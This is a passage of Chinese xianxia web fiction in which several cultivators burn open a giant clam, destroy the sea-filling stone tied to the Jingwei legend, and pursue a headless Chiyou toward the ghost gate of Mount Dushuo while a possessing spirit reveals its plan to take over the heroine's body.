石映心看向边上的巨大蚌怪,到处打量了一会:“明白了,那么到时我留存一些水在里头,大概……到脚腕的深度?” 邬芽想了想:“差不多呢!” 于是就这么决定了。 本来是一个几人都觉得“太简单而不可能”的提议,但不知为何现在变成了“放手一搏”的大胆尝试。曾换月有些不安地和大师兄待在不远处,目不转睛地看着师姐和邬芽二人施法。 这样的关头她是没心思嘚吧嘚吧的,何况对象还是大师兄。 不远处,邬芽看着石映心熟练地施展出她师弟桑九的法术,将面前的海水慢慢往四周隔绝,后知后觉地感到了惊讶,但更多的是佩服:不愧是天下第一仙门归壹派的映心道友! 她专注地看着,等候自己出手的时机。 很快,二人周遭的海水就被石映心隔绝开来,邬芽低头望去,水面不住地往下,最后停在了她的脚踝处。她抬头看向面前的蚌壳,脱离了海水之后,它像一块海边的岩石,每一条纹路如鬼斧神工般环环相扣,又有天然自成的随意。 石映心看向她:“可以开始了。” “……好。” 她一时没想好从哪里开始烧,就先放了一圈灵火绕着蚌壳的开口,远远望去像是给蚌怪套上了风火轮;后来又想到她们幽冥洲的河蚌很好吃……接着就开始给下方的水加热。 多少有点效果的吧……反正她和映心都因太烫脚了而飞到了空中。 曾换月望着:“咦,飞起来了?” 明易目光一撇:“水煮开了。” 石映心的脚这会还热乎呢,她在空中看了看圈着蚌怪的风火轮,又看了看底下已经开始沸腾的海水,略微斟酌,对边上有些不知所措的乌鸦道:“水里的火能不能再大一些?” “水里的火吗?” “嗯,”石映心道,“我要在水里看到火苗。不必担心水被烧干,我会从底下放一些海水进来。” 邬芽颔首:“好,我试试。” 她再次释放法术,很快底下的海水直接咕噜噜地发出大动静,又有源源不断地热气往上冒着,将蚌怪整得云雾缭绕的,空间中也热乎了不少。海水确实消耗得很快,好在石映心会及时补充。 可东海的水多啊,能补充得没完没了,邬芽的灵力却有限;而有限是一回事,极限又成了问题。 在面对石映心再次的“火更大一些”的要求时,她擦了把额上的汗水,无奈道:“可能不行了映心,这里的海水本就抑制我的灵火,如今的火势已是我能达到的最大效果……” 她话音未落,就见石映心往前一指:“邬芽,你看。” 邬芽闻言望去,这一看却是愣住了:她方才一直专心地给底下的海水加火,完全没注意到,不知何时那蚌壳居然已经开了一道口子! “开了开了!”瞅见变化的曾换月也跳了起来,“大师兄你看见没!?” “看见了。”明易却没有多少高兴,甚至还泼了师妹一盆冷水,“估计这便是极限了。” 曾换月一愣:“啊?” 明易捏了捏手中的寒竹剑:“底下的火势已经开始逐渐消退,邬芽在勉强维持;虽然有效果,但只怕还是不够。” 曾换月张着嘴:“怎么会……” “不行……这已经是我能造成的最大火势了。”邬芽满头大汗,面色焦急,“可我再怎么费劲也升不上去……这水,这海水有问题……” “邬芽,”石映心先是对邬芽肯定道,“不必自责,你已发挥了打开这蚌壳的关键作用。” 邬芽咬牙道:“不,还远远不够……” “若是换我和我大师兄上场,就是以我们二人的修为,也不见得打开一道缝隙,你确实是破局的关键。”石映心实话实说,“至于为何只能打开这么多,因为这并不是普通的蚌怪;里边的填海石,也非世人能 驾驭之物。” 邬芽听出她话中有话,愣神地抬头望去:“映心,你是不是……已经想到办法了?” “对,”石映心脸色坦然,“我想问你,你做好准备了吗?” 邬芽微怔。照理来说,她这会该问“你的办法是什么”“我该如何准备”“接下来会怎么样”…… 但当发现自己的灵火能和桑九配合烧开海底结界的时候,她就隐约感到了一些不妙的“巧合”;如今又见她的火能使蚌壳打开……效果有限是因为她的修为不高;可不高的修为却打开了蚌壳,这意味着什么,她不得不察觉。 就像映心说的,假使换她和明道友上场,只能“大力出奇迹”。 换成她邬芽,却是一把钥匙匹配上了一把锁,因此能轻易撬动;可真要将它转动开锁,还是需要更大的力量。 邬芽知道面前之人有这样的本事。 只是……在点头之后,接下来究竟会发生什么呢? 见她张了张嘴,却有一会没发出声音,石映心主动道:“你放心,我会尽全力保护你和桑九。” 得到这样的保证,似乎没什么可问的了。邬芽感到不安心的心安,抿唇朝石映心扬起一个微笑,轻轻点头道:“嗯,那一切就拜托你了,映心。” “好。” 石映心的想法很简单,既然火力不够那就增加火力。至于怎么增加,她一开始是想照邬芽的法术,但又直觉这不是最好的解决办法。 望着面前的巨大蚌怪,她自然而然想到了谷神森林中的那颗蚌珠……咦,如果东海里这颗是填海石的话,那森林中那颗其实是镇林石吧……扯远了。 话说回来,当时她开蚌壳的办法是汲取、不对,应是转移阿央白石中的上古神力来作用在蚌壳上。可现在这不算是好办法,毕竟“转移”神力时会经过她体内,那么肯定要便宜了旋娉。 该如何是好…… 机智聪明的石映心立刻想到——行,那就这样吧!应该不至于——就是至于她也不可惜。【】 300-310 第301章 明易微微眯起眼睛,试图想看清他师妹在储物袋中捣鼓着什么。 曾换月往前走了两步:“师姐在找什么呀?” “别离太近。”大师兄将她扯回来,“我去看看。” “啊?不行不行,”小师妹也把他拉回来,“师姐说了谁都别接近!” “……” 邬芽一边勉强维持着火势,一边时不时看一眼石映心,见她从储物袋里拿出一个东西看了看又放了回去,接着又拿出一个又放回去……这么几回,她忍不住问道:“映心,你在找什么?” 石映心忙忙碌碌寻宝器:“抱歉,你再坚持一会,不知道被我扔哪了,它又太小……” “额……好。” 邬芽心想如果能随便乱扔的话应该不是什么重要的东西吧……唉,好累,她不知还能坚持多久。分明已经用尽全力,可底下的火势却越来越小,方才差点就要被那浅浅一层的海水熄灭,…… 抬眼望去,蚌壳似乎比方才又张开了一点点,但是还不够,还远远不够;额间的汗都来不及擦,汗水划过她的眼皮让她忍不住眯了下眼。邬芽紧紧咬着牙,不知映心什么时候才能找到…… “找到了。” 她睁开眯着汗水的眼睛,在有些朦胧的视线中看向石映心的手中,差点以为自己看错了,那是——一块石头?约手心大小,模样简单,半个椭圆的形状,中央有一道凹槽,像开了一个缝隙的门。 哦,邬芽理解了,若是找这个平平无奇的石头的话,在偌大的储物袋里确实很难找。 不过这个石头的作用是……? “师姐手里拿着什么呀?嘶,看不清。” “一块石头。”明易的语气里有些古怪,“那是什么宝器吗?” “石头?”曾换月居然联想到某事,“难道是嫘祖给师姐的那块奖励石头?” 明易都差点忘了这件事,她这么一提就觉得有些可能,只是他仔细看看,好像这块不是那块?真是分不清,石头都长得太像了。 “但是……”这时又听他师妹道,“我记得那块石头不是给二师兄研究去了吗?” 明易这才道:“好像不是同一块。” 曾换月哪里分得清,忍不住吐槽道:“哪来的这么多石头——啊,师姐把它丢进去了!” 她的目光下意识追随着那块飞出去的石头望向了下方水里的火势,话音刚落的下一刻便睁大了眼睛,不可思议地看见了那原本奄奄一息的灵火在被石头接触到的下一瞬间——如游龙一般扑跃而上! 邬芽还维持着施展法术维持灵火的姿势,她看得专注,这片突然腾飞的火焰瞬间铺满了她双目的时候,一时惊得没反应过来;好在石映心及时将她拎起来往上飞了点,才避免被烧着。 这就是那块平平无奇的石头的作用? 那么这会可以去掉前方的形容了。 比嘴边的疑问来得更快的是石映心的示意:“开了。” 邬芽抬眼望去,果真见那巨大蚌壳正在缓缓打开。原先暗白的色彩被火势渲染出绚丽的红色,像是泼彩的画卷在她眼前展开,叫人无法挪开视线地盯着,只盼一探究竟: 蚌壳的中央,她们苦苦寻求的填海石,那是—— 一块精卫妖模样的…… 邬芽没听到自己的声音:“石头?” “不,”她听到石映心说,“那是尸骨,传闻中炎帝女娃的尸骨,或者说……你前世的尸骨。” 邬芽如雷轰顶,怔然失神,完全无法可想石映心说了什么。 在她的眼中,那块精卫妖石在已经席卷了蚌壳的滔天火势中涅槃重生了:它破石而出,展露了生机勃勃的羽翅和蛇尾;仰天长啸一声,鸟啼穿透层层海水,接着煽动翅膀,直直朝她飞来—— 就像幼时常做的噩梦中,那排山倒海般的波浪劈头盖脸地打下—— 将她淹没。 啾—— “这是什么声音?” 顾梦真茫然地抬头向海面望去,但啥也没瞧见:“桑九,你听见了吗?是不是有点像……鸟叫?” 桑九这会大汗淋漓,不过因为他们在海水之中,这些汗水完全看不出来,只听他从牙缝间挤出来的声音:“我……我快……不行了……” 顾梦真猛然回神,大惊道:“你等等,我再找个宝器帮你!” 桑九说这话不是在寻求帮助,而是已逞强到无法再逞强;顾梦真在边上确实用各种各样的宝器帮助他在强弩之末时维持了一段时间,但这次是真的、真的真的真的不行了! 顾梦真余光瞥见有一片红水飘到眼前,刹那间意识到什么,诧异地往桑九望去,却见他的嘴角不止何时沾了血,下一瞬便猛地吐出一大口血来—— “桑九!” 咔嚓,什么破碎的声音。 顾梦真抬眼望去,就见原本贴在看不见的结界上的符箓已经尽数破碎,而看不见的结界也看得见了,因为其上方出现了如蜘蛛网般密密麻麻的裂痕,这会正以无法捕捉的速度扩散开来。 “咳咳……”被他扶住的桑九似乎想要说什么,但一张开嘴就是吐血。 “你别说话了,我知道你要说什么!”顾梦真一手揽着他,一手在储物袋里翻找,语速飞快,“没事没事没事,我想办法我想办法……” 可没等他想到办法,有气无力的桑九蓦地瞪大眼睛,徒然看着破碎的结界之后、那猖狂卷起的海水气势汹汹朝他们扑来,下一刻便到了他们眼前,冲破了已经不堪一击的结界—— “桑九!” “桑九,以后邬芽便是你的师姐。你可要勤勉修习法术,日后保护好她,知道了吗?” “师祖、师父,桑九是我师弟,理应是我保护他!” “哈哈哈,你们师姐弟二人以后手足情深,互相扶持,好不好?” “好!” * 望女县,东海。 海岸边一片热闹,是归壹派的弟子们正在紧急疏散人群,尽量将百姓们往陆地深处赶,与此同时还要紧急排兵布阵、设立灵力屏障;百忙之中听着海的那边传来的可怖声响越来越近、越来越大,众人心中都悬着一块大石头。 看了眼混乱的民间景况,穿着合欢宗防水服和鱼泡泡灵气屏障的姬漓和姬滢便打算入海找人了,可正要走呢,面前那条鲛人却停住了摇摆的鱼尾,转头对她们道:“不行,我不能走。” 二人讶然道:“啊?为什么?” 泉芷一脸认真道:“我感到有海浪正在袭来,一潮接一潮,来势浩荡,并非他们归壹派弟子可挡,我必须留下帮忙,否则会伤亡惨重!” 姬漓挠挠头,只感觉脑子混乱,哪里都忙不过来:“那、那我和我妹咋整啊?” 姬滢不管如何,只说:“我们必须要找到映心。” “我知道。不过也许你们需要的不是我的指引,”这么说着,泉芷变出一个传音鹤雕塑来,“它能带你们找到映心。” 在这传音鹤出现的一瞬间,姬滢手中的蜥蜴骨明显颤抖了一下,她了然地接过信物,朝泉芷颔首道:“我明白了,多谢。” “等等。”泉芷又叫住二人,“我还有个东西要交给你们。” 说着递过来一个什么,姐妹俩低头一看,是一个深蓝色的海螺……不,是一个海螺模样的石头。 姬漓疑惑道:“这是什么宝器吗?” “其实我也不清楚……”泉芷目露一丝疑惑,但很快郑重道,“这是我在昆仑山的神仙那得来的宝贝,虽是我族的海螺样式,但我直觉不属于我,我也完全不知该如何使用它……解释不清了,总之请一定要交到映心手上!” 姐妹俩真是非常好奇,但此时哪有时间多问,只点头作了保证。 “那么,”泉芷朝姐妹二人扬起一个笑来,“走吧。” “走了!” 三人交换了笑容,分道扬镳。鱼尾摇摆在消失的泡沫之中。 * 海底悬崖。 帝血剑出鞘,铮然挡在邬芽面前,替她挡住了飞扑而来的精卫妖石;后者猛地反应过来,朝剑修喊道:“它坚不可摧,刀剑不入!映心,不如让我以身饲虎,你再杀了——” 嗡! “不可能。” 石映心将精卫妖石劈开,与此同时,她大师兄也飞入结界之中,以寒竹剑刺去;填海石的回力让剑身发颤,震得明易手腕发麻。 二位剑修不必多试,一招对上便清楚了邬芽说的“坚不可摧、刀剑不入”所言非虚:分明这只精卫鸟破石后看起来就是普通“小鸟蛇”的模样,但她们的宝剑却连它一根羽毛都无法刺破。 师兄妹俩对视一眼,心领神会:别耗费精力,先拖延着想办法。 可她们要拖延,那填海石可不愿意,千方百计地要去接近邬芽;后者在二位剑修的保护下四处避让,时不时还大义凛然地表示“我愿意以身饲石头,我肉身的弱点是……” 得了吧你。 那么,该如何毁了这块填海石呢? 曾换月站在下方旁观有一会了,看局势僵着,忍不住朝三人喊道:“避让避让,试试我的爆破符!” 明易正想拒绝,但小师妹的一叠符箓已经甩了上来,他也忌惮其不可测的威力,连忙撤退避之;石映心同样眼疾手快地拉住邬芽闪开老远,后者被扯得晕头转向。 却见那一叠符箓如行兵布阵般团团将填海石围住,它往上它们也往上,它往下它们也往下,东西南北地圈着它的行径,叫填海石的鸟头显得很迷惑。只是它的目的性非常明确:接近邬芽。于是不管如何,总要往邬芽飞去。 第302章 符箓们自然不能叫它得逞,这就免不了贴脸冲撞:填海石不管不顾地往邬芽飞去,鸟头尖喙刺入挡在面前的符箓破开一道金光;就在它即将逃离符阵时,其余符箓纷纷飞来,每一张都使劲往上贴着,贴了一层又一层,干脆将填海石重新贴成了一块木讷的石头。 一时寂静。 四人看得都很迷惑,心想难道就这么简单地将它禁锢住……了? 当然是不可能的。 “啾——” 只听一声鸟啼,这团被符箓包裹着的什么玩意蛄蛹了一下,忽然冒出了一窜火苗。 “我去?完了!” 罪魁祸首·符修惊呼一声,抱头飞扑到一边的珊瑚石之后,就在她落地的一瞬间,空中的填海石猛地炸裂开来—— 在场四人都不曾观赏过水中烟花,如今天色未明,海水幽深,烟火一定绚烂无比……可惜这会爆炸的声响太大、光芒太刺眼,为了保住小命,她们不得不屏蔽六识,遗憾错失这次难得的机会。 “噗!咳咳咳……” 曾换月一时分不清呛着自己的是海水还是硝烟,或是自己的血?她一呼吸就发现自己浑身上下被堵住,脑子昏胀到耳鸣声都在里头迷路了。现在已经不是心虚自己闯祸的时候,当务之急是……师姐,找到师姐她们。 她费劲地睁开眼来,眼前的景色如末世一般:原本还算清澈的海水托她的福变得黑压压的,像伸手不见五指的雾霾。 曾换月还是心虚了,她取出辟邪灯来一照,这下终于能瞧见五指,血刺呼啦的,手背上已经没了好皮。 可她感觉不到疼,料想是脑子堵住了,因此痛觉也堵住了。大概算好事。 不过话说回来,这次的符箓效果太炸裂,估计和填海石有关,就是不知道有没有对石头本身造成什么损害,哪怕只有一点也能让她不那么心虚…… “师、师姐……” 声音太沙哑,一飘儿融入了面前的雾霾之中,不见踪影。 “师姐……” “映心……” 曾换月费劲转头望去,不确信地叫了一声:“大师兄?” “咳……”有人拿着灯光挥开黑雾走出来,是明易,他一身灰扑扑的,瞧着也被波及得很可怜:“换月?你没事吧?” “大师兄咳咳……”曾换月最讨厌鼻塞,“我应该没事吧……” 明易借着微弱的灯光打量她,脸上受了些伤,眼神飘忽,但只是余震未消,并无大碍,便道:“你没事,先别急着动用灵力。” “好……”曾换月急着问,“师姐呢?大师兄你快去找师姐!” 明易确实在找,但这会也安慰师妹道:“映心她应该也没事,周遭的隔水屏障还完好,说明她意识清楚,状态稳定。” 曾换月便松了口气:“那就好……我们快去找师姐会合吧?” 明易微微颔首,正想应下,猛地心头一颤,转头往边上看去:“有什么……过来了。” “是师姐吗?” 曾换月下意识地问了一句,后知后觉大师兄方才的语气,明明是警惕。如果是师姐的话……怎么会警惕呢? “不是。”果然听大师兄低声说,“来我身后。” 曾换月艰难地咽下如砂石般的口水,尽量快地挪到大师兄身后,偷摸地打量着面前的黑雾,她这会也有些感觉了,那奇怪的……什么东西,正在不紧不慢地过来。 “是……”她悄声道,“小鸟蛇、额,填海石吗?” 明易微微顿了一下,摇头道:“看身量不是。” “身量?它是什么身量?” 明易观测着面前黑雾的细微流动,眉目深蹙:“至少……有常人身量。” “啊?”曾换月一愣,没反应过来,“什么意思,可这结界里头不就我们四人,以及那个小小的填海石吗?还会有……谁啊?” 明易也想知道,可他并未吱声,只默默地握紧了手中的寒竹剑,其实心里甚还有些庆幸:好在是遇上了他,而不是映心。 黑雾中东西并未让二人好奇太久,随着那阵阵明显的震感从他们脚下传来,对方的身影也在漆黑的海水中、弥漫的沙尘里显现了—— 明易的感应没错,来者确实“至少”有常人身量;若加上多出来的部分,用她们见过的人来对比,与变身后的琼华宫道友黎为夏以及羲和有过之而无不及,多少也肖像,比如那粗狂霸道的肌肉走势…… 总之和他们如今仙风道骨的修仙者很不同。 明易因此有了料想,这位阁下大概也许应该不属于此时。 “我的老天奶……她又是哪里冒出来的?”曾换月百思不得其解,缩了缩脖子道,“大师兄,这家伙看起来不好对付啊哈哈……等会就交给你了,我尽量不添乱!” 明易也是这个打算,但以他的行事风格是:“若她能沟通,那么……” “那么我们会倒霉得慢一些。” 明易:“……嗯。” “不过……”曾换月又探出脑袋,看向那个走来不紧不慢但每一步都距离很大的家伙,“我怎么瞅不清她长什么样啊?这黑雾好烦……欸,不对?她、她她……大师兄她她……” 明易微微眯起眼睛,方才他也有些疑惑,但这会对方走近了,他也瞧清了,补上了结巴师妹的话: “她没有脑袋。” 邬芽蓦地睁开眼。 她最后的意识是被炸开的填海石朝她砸来,身上瞬间迸发出难耐的疼痛,仿佛皮肉被破开一道口子,无数血液集中在伤口涌出——在痛到几乎晕厥的前一瞬,邬芽感到有人从后边抱住了她,因此安心晕了。 果不其然,这会石映心正在她对面打坐、为她施法疗伤呢。 奇怪的是…… 邬芽眨眨眼,让自己的视线更清晰了一些:她们二人中间漂浮着几块碎石,瞅这石头的碎尸,有半个鸟头半块翅膀半条蛇尾……额,看来就是被炸裂的填海石不错,别说换月的符箓还真厉害…… 咳,重点是,这些碎石正绕着一块完整的石头盘旋;这颗石头模样简单,半个椭圆的形状,中央有一道凹槽…… 咦,这不是映心之前丢到灵火里助燃火势的石头吗?怎么又……回来了?而且为何映心为她疗伤要用到这颗石头? 邬芽有很多疑问,但无奈一点说话的力气都没有。 “你醒了?” 石映心抬眼看向她,遭遇了方才的爆炸,和狼狈的其余人相比,她居然瞧着安然无恙,一尘不染,简直荒谬。这会见邬芽苍白又疑惑的神色,她还有功夫一边疗伤一边淡定的为她解释: “对不住,方才是我没护住你,你被填海石的碎片伤得很重。不过你放心,我已经在为你疗伤;好在你是精卫后世,这两块神石上的神力也能为你所用,很快你便能复原。” 石映心说话有个优点:一句话说完不吊人胃口。 同时这也是缺点:信息量太大叫别人很难马上反应过来。 更何况是身受重伤的邬芽,足足发呆了好一会。但幸好她是个聪明人……也许此时比聪明更重要的是豁达,豁达到能够坦然接受一切事实。 邬芽就接受了。 这会她感到自己体内的灵力和伤口正以不可思议的速度恢复着,方才连说话的力气都没有,现在好像唱歌都行,真是可怖的力量。邬芽深呼一口气:“映心……多谢你。” “不谢。” 石映心说罢,继续专心疗伤,她也赶趟呢,想着赶紧把邬芽治好就去找换月和大师兄。 邬芽静静看着她专注的神色,忽然问了句:“映心……那块椭圆形的石头……叫什么?” 椭圆形的?哦:“阿央白石。” 邬芽很难回想前世的事:“阿央白石……好似在哪里听过……它,和填海石一样吗?” 随便吧:“看作一样的就行。” 邬芽默了默,又道:“那么……用这两块灵石为我疗伤,对你是否有害?” 石映心意外地抬眼看她,又垂下眼帘盯着面前的石头们,平静道:“事分轻重缓急,当务之急是救你。” 邬芽便明白了,一时难言心中的感触,又知道此时说什么都无济于事。 她感到体内的灵力越发蓬勃,这股灵力并不来自她自小汲取的幽冥宗的灵脉,但却那么熟悉,让她的肉身和经脉十分愉悦,仿佛鸟儿回到了温暖的巢穴。这不受控的愉悦让她无奈又害怕,无法不接受一切的安排。 良久,石映心听到她说:“映心,我忽然想起师祖曾同我和桑九说过的一些话。” “嗯。” 邬芽也不在意她有没有兴致听,反正自顾自地喃喃自语:“师祖说,我们幽冥宗……或者说幽冥洲,在许久之前就与鸟族有着不解之缘。对了,你知道琼华宫的功法能让她们变成巨人吗?” 石映心可不止知道,甚至亲眼照过呢:“知道的。” “据说……许久之前,我们幽冥洲的修仙者也有这样的‘变身’本事。啊,照当时的话来说是‘化身’。” “化身?” “嗯。”邬芽露出一个轻轻的笑容,“不过不是人化身成鸟,而是鸟化身成人。” 这听着稀奇又不稀奇,石映心想了想:“你说的是……妖怪成精?” 邬芽摇摇头:“不是呢,和妖怪成精是不同的方式……该怎么形容呢?就像是……” 她有些迷糊,似乎在脑中琢磨了很多,但毕竟是很久之前、远超于“邬芽”记忆的事,想起来苦难也是正常的。 好在石映心照了她一眼便明白了邬芽的意思,居然是她帮着解释道:“就像女娲是蛇,女娃死后转生为精卫鸟。” 就像帝女石窟中的姬源。 就像变身后长出角的黎为夏。 就像流落民间逐渐变得不人不鬼的天神女魃。 就像涅槃重生的凤凰三足乌帝俊。 就像形似干瘪四脚兽的雷神金昆。 就像……你,邬芽。 也像旋娉。 到底在何处才能探寻上古神祇逐渐演变成“人类理想形象”的因果?即使故事只流传在人们的口中和笔下,可残留的神性依旧在她们身上不断地挣扎出新的血肉;也许早已与本性有很大出入,但割裂的可怖形象便是真相的证明。 那么,她,天地之镜又是如何呢? “师祖说……死亡就是人返回于自己的氏族图腾。”邬芽朝石映心笑了笑,“我好像明白了。” 第303章 轰—— 不远处传来声响。 石映心停止施法,将漂浮的石头们收回囊中,看向邬芽道:“感觉如何?” “很好!”满血复活的邬芽紧忙蹦跶起来,“这是什么动静?我们快去找换月她们!” 正合她意。 邬芽点燃一窜火苗在前方照明引路,火光破开一层又一层的黑雾,很快将她们带到同伴所在之处。也不知算不算来晚了,此时双方已经打了起来,明易和曾换月的身上都挂了彩,那看来是晚了点。 再看看对手——咦,脑袋都没了?这岂不是挺好……等等,怎么脑袋没了还能动啊,这不对吧? 这无头人即使没了头也体积硕大,她衣裳破旧,手上拿着一把瞧着有些粗制滥造的……铜矛? 石映心觉得很眼熟,不只是这怪人的模样,还有她手中的武器。 这是…… “师姐!” 被无头人虐待许久、总算等到师姐找来了的曾换月瞧见石映心的身影,大喜过望地跳了起来:“师姐你没事吧!” 石映心瞅她嘴角的血色:“……我挺好的,你没事吧换月?” “我没……”她说着就要蹦跶过来,但忽然注意到边上的无头人,吓得僵住了脚步,面容苦涩道,“我没事师姐,只是她……这个无头人厉害得很,主要是连个脑袋都没有,完全无法沟通啊!” 石映心便看向她大师兄,对方面色严肃地朝她微微摇了摇头,意思是打不过。 她正要琢磨,忽然听邬芽诧异道:“无头人……她本来就没有头吗?” 几人远远说话时,无头人似乎好像仿佛一直在打量新来的二人,有一会没有动作,但这时忽然迈开粗壮的腿往石映心二人走去。 明易随之动弹,提剑而上;曾换月连忙大声回答邬芽的问题:“对,我们一见到她时便是没头的!” 邬芽的瞳孔猛地一缩,怔然望向和明易交手的无头人,喃喃道:“难道……难道她是……” 石映心盯着战况捏着帝血剑,上场前还是想清楚明白些,飞快道:“你认识吗邬芽?她是谁?” 邬芽却仿佛灵魂出窍了,声音都有些飘忽:“首身离兮,心不惩……身既死兮神以灵,魂魄毅兮为鬼雄……她是……” “无头战神,蚩尤。” 蚩尤。 提剑飞去支援明易的时候,这片刻的空白只够石映心的脑子囫囵吞枣地琢磨了一下:为什么蚩尤会出现在这里?已知此处是炎帝女娃的葬身之所……等等,炎帝不就是蚩尤吗?那么她的残魂在此处守护女儿似乎也合乎情理。 可是方才为什么没见她……她存在感这么强,不可能在结界中悄无声息,大概率是被封印了,就像那块填海石…… 想到这石映心已经同大师兄配合着跟蚩尤打斗上了。 明易敏锐发现她的心不在焉,瞅她一眼却没提醒,只更警惕着保护她,不过他发现了一个奇怪的点,忍不住传密音和师妹道:“映心,你先听我说,有些古怪;你们来之前这无头……蚩尤好似只是想打架,但她现在好像要去哪。” 石映心:“嗯……嗯?” 去哪? 这里还有什么? 不过是一片海,而东海之上只有…… 【映心,你先前说填海石是被炎帝女娃用来填海的上古神石,因此才落入东海之中,那么为何它有填海的本事,当时却没发挥效用?】 她猛然想明白—— 度朔山封印了填海石,而填海石封印了蚩尤! 只要她们销毁填海石,蚩尤便会显世;这并非是换月无意闯祸,而是命定的一关: 填海石是炎帝女娃化身精卫鸟死后的尸骨,只有女儿的尸骨才能留住战神的残魂——那么她要去哪——她还能去哪——毁了度朔山! 海中结界若是被破坏,会引起海难;而镇守鬼门的度朔山被破坏,其后果不堪设想! 糟了。 “噗——” 石映心蓦然回神,正巧看见她大师兄吐出一口鲜血。蚩尤的铜矛穿过他的左肩又猛地拔出,让月白色的门服上浸染了大片的血色,这破矛竟有对抗寒竹剑、穿透化神期修士肉身的威力,实在不可貌相。 “大师兄!” 石映心连忙上前扶住明易,正打算为他疗伤,但后者却抓住她手腕,咬牙道:“别让她去……度朔山……” 石映心一愣,心说大师兄果然也想明白了。 再抬眼一看,那无头蚩尤已经很有目的地往前飞去。 石映心毫不犹豫地将大师兄放开,朝跑来的小师妹和换月喊道:“这里交给你们,我去追!” 说罢转身就走,完全不给商量的余地。 “师姐!师姐——” 曾换月叫了几声,可惜她师姐连头也不回,一心追蚩尤而去;她正焦急呢,却见邬芽也跟了上去:“映心!” 曾换月:…… 就在她叹了口气,做好准备留下来照顾大师兄的时候,却见她大师兄咬着牙给自己止了血,然后仿若没事人一般站起来,面色苍白如纸道:“你留在这,我跟去看看。” 曾换月:??? 这么顽强的吗大师兄? “什么玩意,我当然也要去!” * “是被灵火烧过的痕迹……一定是我师姐!”桑九拈起地上的灰烬,又看向面前被烧成碳的大家伙,“不过这里怎么会有一个蚌壳?” “蚌壳是被烧开的,里头却空空如也,”顾梦真分析道,“定是我们要找的填海石就在其中!” 姬滢看了看手中的罗盘,蜥蜴骨在不安地颤抖:“那么映心她们得到了填海石之后……会去那呢?” “哎呀,怎么回事嘛,”姬漓捣鼓着手中的传音鹤,满脸无语,“偏偏到这里就失效了!” 说罢递给了顾梦真:“这不是你的宝器吗,要不你修修?” 顾梦真没接,摇摇头很是无奈道:“此处灵场混乱,它能坚持到这里已经是我的炼器本事高超了。” 姬滢猛地抬头看他:“混乱?是什么营造了此处的灵场?” “额,大概是外头的结界,虽然已经破掉了吧……”顾梦真挠挠头,“哦对,还有度朔山也算。实在不好分辨,成因太复杂了……” “度朔山……”姬滢感到自己心脏狂躁地跳动了一下,这是卦修的直觉,“度朔山在哪?” 桑九连忙说:“我记得在哪!跟我来!” 为什么要去度朔山,怎么就去度朔山了?四人这时完全没有商量的心情,总之就去吧,不然还能上哪呢? * 有没有人能为石映心答疑解惑:是否少了头之后,会游得更快? 为何她怎么也追不上蚩尤?还要时刻紧绷着神经跟着,提防被她甩开。 这就算了,最讨厌的是旋娉又冒泡了,说的第一句话就是:“呦,你们把蚩尤放出来了?不出我所料,哈哈哈哈哈!” 石映心:…… 她目光追着蚩尤的身影,还有些功夫和旋娉说话,开口就道:“原来你对我连哄带骗,是为了夺舍我重生。” “夺舍?”旋娉品了品这个词,挑剔道,“这说法我不赞同,怎么是夺舍呢?” 石映心:“你要霸占我的肉身。” “这也是没办法的。”既然败露得差不多了,旋娉也不再隐瞒,“若我要重现于世,自然要有附身的载体……当今最合适的载体便是你们这些修仙者的肉身。可并非所有人都有资格为我夺舍,唯有你——” “天地之镜。”这家伙的话中听着居然还有些无奈,“唯有天地之镜才能容纳我身上的神力,他者皆会无法承载,爆裂而亡。” 石映心默了默道:“天地之镜是上辈子的事了,我如今只是石映心。” “是,是。”旋娉敷衍地应了两声,又温柔地说,“小镜灵啊小镜灵,难道你不知道我一向待你多好么?等我得了天地之镜的肉身,定会再替你找一副合适躯体借生,我可不舍得让你待在暗无天日的心镜之中孤独寂寞。” “我不需要。” “我需要。”旋娉笑道,“一切都安排好了。” 石映心听她一切尽在掌握之中的语气,心中确实有些不安:“你究竟想要什么?以你的资质,就是重头再来也会成为世间闻名的修仙天才。” “重头再来?哈哈哈哈哈!”旋娉大笑出声,“如今怎么不算重头再来?不过我依旧是旋娉!而你——却试图剥离天地之镜的身份,成为懦弱可笑的凡人!最可笑的是,你做人的七情六欲皆是借天地之镜照来——你真的算是人吗?” 石映心合理怀疑她在借机骂自己,且证据确凿。好在这些话对她来说不痛不痒,她无所谓道:“照来的又如何,反正我已经学会了。” 旋娉冷哼一声:“石映心,你……” 石映心:“不说了。” 旋娉:。 石映心虽然是挺没礼貌的,但这会还真不是故意不搭理人家,而是因为到地方了:前方是巨大的水下山体,如树根一般脉络交错地隐在黑乎乎的海水中,让人看不清它究竟有多深。 蚩尤开始往上游去。 石映心意识到她要离开海面、去到度朔山上;也是,祭祀太阳神的炎帝自然属火,离开海水才能尽情发挥她的神力。石映心暗道不妙,也许不该让蚩尤离水,可她这会也无法阻止对方,只能认命地紧跟其后。 哗—— 不知到底在海里游了多久,这会呼吸到外头的空气,石映心有些恍若隔世的…… 嗯?等等,世间是真的不一样了。潜在水里、或者说,在海中结界里时她们还没发现,这会出了海面才看到:外头一片昏天黑地、乌烟瘴气 ;偌大的雨滴打在海面上,阵阵海啸声不断蓄势待发又爆开,忽远忽近,但定是往岸边去了。 第304章 虽然此处离岸边很远,但石映心料想那边肯定很“热闹”;不过她这会自身难保,也没心思担心他处了,只希望收到大师兄的信赶来支援的同门弟子们能够万事大吉吧。 镜灵跟着蚩尤飞出海面,淋着雨往度朔山上而去。 瞅见海上的情景,石映心便得知了二师兄和桑九巩固的结界已经破碎,可度朔山的结界却还完好;证据就是她上了山之后便淋不到雨了,大概都化作了笼罩着山体的水雾。 离水之后,石映心感到自己的脑子也清醒许多,直觉想到蚩尤要去哪,便毫不犹豫地调转方向抄近路飞去——果真比对方先到了鬼门前。 拿着帝血剑站在桃树鬼门前,石映心庆幸自己急中生智,不然等她追上蚩尤时,这扇门早就被劈开了吧?到时…… 嚓。 铜矛摩擦着地面发出轻微一声。 石映心抬头看去,那矛头已经指向了自己,虽然对方无头,但这动作的意味非常明显。 “不行。”石映心微微摇头,一脸正气,“若让你毁了这扇门,天上地下都要遭殃。” 蚩尤玩似的转了下手中的武器。 石映心不卑不亢道:“哦,你说我打不过你吗?我料想也是,可不打就认输并不是我的作风。” 蚩尤抱起胸。 石映心启唇……旋娉忽然说:“小映心,你何必不自量力,让我出来,我能胜过她。” 石映心:“若你能把我打死也是你的本事。” 蚩尤:? 旋娉:…… 